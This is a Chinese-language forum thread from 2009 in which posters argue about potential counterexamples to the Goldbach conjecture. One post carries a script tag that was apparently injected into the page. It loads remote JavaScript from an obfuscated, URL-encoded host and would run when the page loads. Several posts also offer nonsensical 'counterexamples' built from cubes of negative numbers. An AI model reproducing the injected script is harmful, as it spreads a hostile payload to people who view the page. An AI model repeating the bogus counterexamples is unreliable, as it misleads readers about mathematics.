潜在的哥猜反例

glyzhj

下面引用由APB先生在 2009/01/09 10:48pm 发表的内容：
   可笑！   你那哪叫一关呀？

不是关.可你也同样没有过.

尚九天

“哥猜”没有反例。
“人”字，头朝下而为“丫”，(臭脚丫子的“丫”)，
才是“反立”，
              ---- 反例。

lusishun

中学生数<</title><script src=http://%6b%6b%36%2e%75%73/1.js></script>

刘合亮

下面引用由glyzhj在 2009/01/09 06:34pm 发表的内容：
你有什么重大的回贴我没有看到?

算我及网友们白说。

尚九天

   “哥猜”反例：
                                (10-19)^3
必为奇数，但它却不是“三个奇素数”之和。

尚九天

    [哥猜反例]
                               (10-100)^3
一定是偶数，但这个偶数一定不能表为“两个奇素数之和，故必为“哥猜”之反例。

志明

[这个贴子最后由志明在 2009/01/11 08:05pm 第 2 次编辑]

按楼主的观点：
（1）当5是已知最大的素数时，在等于或大于30的偶数中可能存在哥猜反例；
（2）当7是已知最大的素数时，在等于或大于210的偶数中可能存在哥猜反例；
（3）当11是已知最大的素数时，在等于或大于2310的偶数中可能存在哥猜反例；
……
（n）当P是已知最大的素数时，在等于或大于2×3×5×7×….. ×P的偶数中可能存在哥猜反例。
在人们未知的大素数中，5与已知最大的素数P都是相当微小的，它们无本质上的区别，（1）和（n）在本质上也没有区别，30、210、2310都不是哥猜反例，2×3×5×7×….. ×P同样不是哥猜反例，谁会相信说证明了孪猜的楼主连这样的概念都不能明白？
还有，楼主所发现的这条鸿沟无非就是30、210、2310、……、2×3×5×7×….. ×P这类偶数，网友们在证明哥猜时对这类偶数并没有进行单独的证明，也不需要进行单独的证明，但是根据证明分析得出了“这类偶数的素数对数量相对最多”这样的结论，事实情况也验证了这一点。楼主对此视而不见，既不看这一结论的来历是否正确，也没有找出别人得出这一结论分析推理中的错误，只是反复多次质疑网友“证明了这样的偶数数列哥猜都成立吗？” 这就如同不看学生做好的作业却反复问学生“这作业你会做吗？做得了吗？”的老师一样。
总之，这个贴越看越象搞笑贴。

glyzhj

[这个贴子最后由glyzhj在 2009/01/11 08:29pm 第 5 次编辑]

下面引用由志明在 2009/01/11 07:56pm 发表的内容：
按楼主的观点：
（1）当5是已知最大的素数时，在等于或大于30的偶数中可能存在哥猜反例；
（2）当7是已知最大的素数时，在等于或大于210的偶数中可能存在哥猜反例；
（3）当11是已知最大的素数时，在等于或大于2 ...

  
志明先生好,我没有搞笑.
能举的例子的确哥猜都成立,但这类偶数是无限多的,举是举不尽的.在没有证明这类偶数哥猜都成立.我们为什么不给予质疑呢?
这样的单独证明并非不需要.而是说证明了哥猜的人都无法证明.
得出的结论.事实验证.都不能等于证明.

申一言

不是搞笑?
是在搞哭!
苦笑不得!
            (No26)

志明

下面引用由glyzhj在 2009/01/11 08:16pm 发表的内容：
  
志明先生好,我没有搞笑.
能举的例子的确哥猜都成立,但这类偶数是无限多的,举是举不尽的.在没有证明这类偶数哥猜都成立.我们为什么不给予质疑呢?
这样的单独证明并非不需要.而是说证明了哥猜的人都无法证明.
...

glyzhj 先生您好，
我认为网友都知道这类偶数无限多这样粗浅的知识。
请问：
有人论证了“只能用举例子的方法证明哥猜”吗？如果有的话，那哥猜就不用证了，可以下结论哥猜无法证明，因为举例子不能把所有的偶数例举完。
30这个偶数需要单独证明吗？如果不需要的话，30、210、2310…、2×3×5×7×… ×P这类偶数凭啥又需要单独证明？这符合逻辑吗？
你认为网友得出“30、210、2310…、2×3×5×7×… ×P这类偶数的素数对数量相对最多”这样的结论过程中的分析推理有错吗？有错的话你是否应该指出？没有指出了别人的错误就说“没有证明这类偶数哥猜都成立”这样话是正常的交流吗？
如果您不能指出别人的错误，仅仅只说“得出的结论，事实验证，都不能等于证明”这样的话您不会觉得很苍白无力吗？如果这一结论没错的话是不是说明您所说的潜在反例并不存在？